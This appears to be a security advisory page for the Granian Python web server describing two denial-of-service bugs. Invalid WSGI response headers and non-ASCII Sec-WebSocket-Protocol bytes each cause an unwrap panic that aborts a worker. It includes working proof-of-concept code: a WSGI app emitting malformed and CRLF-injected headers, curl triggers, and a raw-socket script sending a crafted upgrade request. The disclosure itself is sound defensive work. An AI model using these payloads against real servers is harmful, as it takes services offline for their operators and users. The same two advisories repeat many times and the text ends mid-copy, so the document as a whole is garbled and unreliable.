granian

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

Impact

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

• Unauthenticated remote denial of service
• One crafted request kills one worker
• The application is never reached, so application-level authentication or routing does not mitigate the issue

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

Impact

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

• Unauthenticated remote denial of service
• One crafted request kills one worker
• The application is never reached, so application-level authentication or routing does not mitigate the issue

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

Impact

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

• Unauthenticated remote denial of service
• One crafted request kills one worker
• The application is never reached, so application-level authentication or routing does not mitigate the issue

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

Impact

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

• Unauthenticated remote denial of service
• One crafted request kills one worker
• The application is never reached, so application-level authentication or routing does not mitigate the issue

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

Impact

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

• Unauthenticated remote denial of service
• One crafted request kills one worker
• The application is never reached, so application-level authentication or routing does not mitigate the issue

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

Impact

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

• Unauthenticated remote denial of service
• One crafted request kills one worker
• The application is never reached, so application-level authentication or routing does not mitigate the issue

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

Impact

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

• Unauthenticated remote denial of service
• One crafted request kills one worker
• The application is never reached, so application-level authentication or routing does not mitigate the issue

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

Impact

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

• Unauthenticated remote denial of service
• One crafted request kills one worker
• The application is never reached, so application-level authentication or routing does not mitigate the issue

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

